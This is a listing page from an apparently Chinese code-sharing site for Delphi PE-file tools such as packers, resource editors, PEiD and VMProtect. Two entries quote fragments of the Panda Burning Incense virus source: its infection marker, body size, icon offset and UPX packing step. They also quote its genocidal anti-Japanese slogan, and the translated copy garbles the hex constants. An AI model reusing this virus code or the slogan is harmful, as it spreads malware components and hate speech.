Location:
Search - Delphi pe
Search list
Description: PE文件简单加密（加壳)--源码,用得delphi的环境-PE files simple encryption (packed)- source code, used the delphi environment
Platform: |
Size: 212992 |
Author: babydream |
Hits:
Description: StripReloc is a free (GPL license) command line utility that removes the relocation (".reloc") section from Win32 PE EXE files, reducing their size. Most compilers/linkers (including Delphi) put a relocation section in EXE files, but this is actually not necessary since EXEs never get relocated. Hence, a relocation section only wastes space.
Platform: |
Size: 12288 |
Author: niko |
Hits:
Description:
熊猫烧香原代码
熊猫烧香, 十六进制, Windows, 源代码, 字符串
熊猫烧香源代码
program Japussy
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}
const
HeaderSize = 82432 //病毒体的大小
IconOffset = EB8 //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912 //Upx压缩过病毒体的大小
IconOffset = BC //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = E8 //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize //PE文件主图标的尾部
ID = 444444 //感染标记
//垃圾码，以备写入
Catchword = If a race need to be killed out, it must be Yamato. +
If a country need to be destroyed, it must be Japan! +
***
{$R *.RES}
function : Integer): Integer-Panda original code Panda burning incense, hexadecimal, Windows source code, string the panda source code program Japussy uses Windows, the SysUtils the Classes, Graphics, ShellAPI {, Registry} const HeaderSize = 82 432 // virions the the size of IconOffset = EB8 // PE file main icon offset// in the above compile my Delphi5 SP1 size, other versions of Delphi may be different// Find 2800000020 hexadecimal string can be found in the main icon the offset {HeaderSize = 38912 // Upx compression over the the virus body size IconOffset = BC // Upx compressed PE file offset of the main icons the// Upx 1.24W Usage: upx-9- 8086 Japussy. exe} IconSize = E8 // PE file main icon size the- 744 the byte IconTail = IconOffset+ IconSize // tail of the PE file main icon ID = 444 444 // infection markers// junk yard to prepare written Catchword = ' If a race need to be killed out, it must be Yamato.' +' If a country need to be destroyed, it must be Japan! ' +' *** {$ R*. RES} function:
Platform: |
Size: 4096 |
Author: 炎热 |
Hits:
Description: Delphi.This application is designed to edit resource files and explore resources from PE files. You can edit resources visually, including dialogs, menus, bitmaps, string table, accelerators, version info and more, or if you like edit resource as script. Check it.
Platform: |
Size: 312320 |
Author: id33aa |
Hits:
Description: 改变PE文件(EXE)图标,Delphi演示修改PE文件图标。-Change PE(Exe) Main Icon
Platform: |
Size: 196608 |
Author: 瞎日摸摸插 |
Hits:
Description: PE Explorer(pexplorer)是功能强悍的软件汉化工具，也是大家常用的反编译工具，能可视化翻遍Delphi、C++ 、VB等语言编写的程序，另外，还具备有W32DASM 软件的反编译能力和PEditor 软件的 PE 文件头编辑功能，可以更容易的分析源代码，修复损坏了的资源，还能任意修改程序内置的资源、信息，可以处理的文件格式包括EXE、DLL、DRV、BPL、DPL、SYS、CPL、OCX、SCR 等32位可执行程序。PE Explorer V1.99 R6 汉化版在该工具中附加了UPX脱壳插件。-PE Explorer (pexplorer) is a function powerful software localization tool, is also commonly used anti compiler tool, can turn over Delphi, C++, visual VB language program, in addition, also has a PE file with W32DASM software decompile capacity and PEditor software editing function, can be the source code analysis easier., repair damaged resources, can modify the program built-in resources, information, can handle file formats including EXE, DLL, DRV, BPL, DPL, SYS, CPL, OCX, SCR, 32 bit executable program. PE Explorer V1.99 R6 Chinese version attached to UPX hulling plug-ins in the tool.
Platform: |
Size: 3074048 |
Author: 大威 |
Hits:
Description: PE Exe File browser in delphi
Platform: |
Size: 26624 |
Author: dunkdunk |
Hits:
Description: 现在的软件大都加了壳，给破解汉化带来非常大的不便。PEiD 能够侦测出几乎所有的壳，其数量已超过 470 种 PE 文件的加壳类型和签名，新的 0.93 版本增加了命令行的操作支持，使用非常方便。经分析是目前各类查壳工具中性能最强大的一款。另外还可识别出 EXE 文件是用什么语言编写的，比如：VC++、Delphi、VB 或 Delphi 等。-Most current software plus a shell to crack localization bring great inconvenience. PEiD can detect almost all of the shell, the number has more than 470 species packed PE file types and signatures, the new 0.93 version adds support for command line operation, easy to use. The analysis is the investigation of various types of housing in the performance of the most powerful tools a. It may also identify the EXE file is what the language, such as: VC++, Delphi, VB or Delphi, etc.
Platform: |
Size: 314368 |
Author: 胡锦涛 |
Hits:
Description: Delphi project. Pe Loader. Load program file buffer.
Platform: |
Size: 44032 |
Author: damian |
Hits:
Description: 最小的Delphi System.pas包，通过这个文件可以直接编译到最小969字节的PE文件。-Delphi System.pas the smallest package, the adoption of the document can be directly compiled to a minimum 969-byte PE file.
Platform: |
Size: 4096 |
Author: ga1nsi |
Hits:
Description: 最小的Delphi System.pas包，通过这个文件可以直接编译到最小969字节的PE文件。-Delphi System.pas the smallest package, the adoption of the document can be directly compiled to a minimum 969-byte PE file.
Platform: |
Size: 5120 |
Author: ssuchen |
Hits:
Description: 最早熊猫烧香源代码 仅供学习参考 部分样本
一下
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码，以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +(Microsoft Developer Studio Workspace File, Format Version 6.00)
Platform: |
Size: 4096 |
Author: 那山小黑 |
Hits:
Description: VMProtect 是目前最强大的虚拟机保护软件之一，适合Visual Basic(native)，Visual C，Delphi，ASM等本地编译的目标程序，支持EXE，DLL，SYS。支持Windows各系统，具有很好的兼容性和稳定性。
VMProtect 是新一代的软件保护系统，不像其它常见的保护系统，VMProtect 可以修改应用程序的源代码。VMProtect 将原文件的部分代码转换为在虚拟机中运行的字节码。您可以将虚拟机想像成带有不同于 Intel 8086 处理器指令系统的虚拟处理器；例如，虚拟机没有比较两个操作数的指令，也没有条件跳转和无条件跳转等。VMProtect 将保护后的代码放到虚拟机中运行，这将使分析反编译后的代码和破解变得极为困难。这样一来，破解者就需要开发一整套的解析引擎来分析和反编译字节码，以现有的解密理论，破解者想要还原出源代码几乎是不可能的。
VMProtect 支持32位和64位可执行文件，动态加载库和驱动程序。这包括屏保、Active-X 组件、BPL 库和其他 PE 格式的文件。 受保护的文件基本上可在任何版本的 Windows 系统上运行。VMProtect 的 Ultimate 版本允许用户将序列号轻松添加到受保护的应用程序中。
授权功能帮助用户限制免费更新周期、设置序列号的有效时间、防范在未输入序列号的情况下执行代码，并提供大量其他功能。还可阻止任何序列号，新的受到保护的文件不会接受此序列号。
VMProtect 提供两种模式的用户界面：简单模式和专家模式。简单模式帮助用户只需点击几下鼠标便能轻松选取保护功能、调整选项、并获得受保护的文件。
专家模式供高级用户使用，该模式显示汇编代码、允许写入脚本、绑定 DLL 等。此外，在“选项”标签卡中提供更多设置。
VMProtect 的 Professional 和 Ultimate 版本拥有一个控制台版本，支持命令行参数，而且可在自动构建过程中使用。该版本完全支持脚本、水印、序列号和 VMProtect 的所有其他功能。
Platform: |
Size: 31689433 |
Author: Binkil******* |
Hits: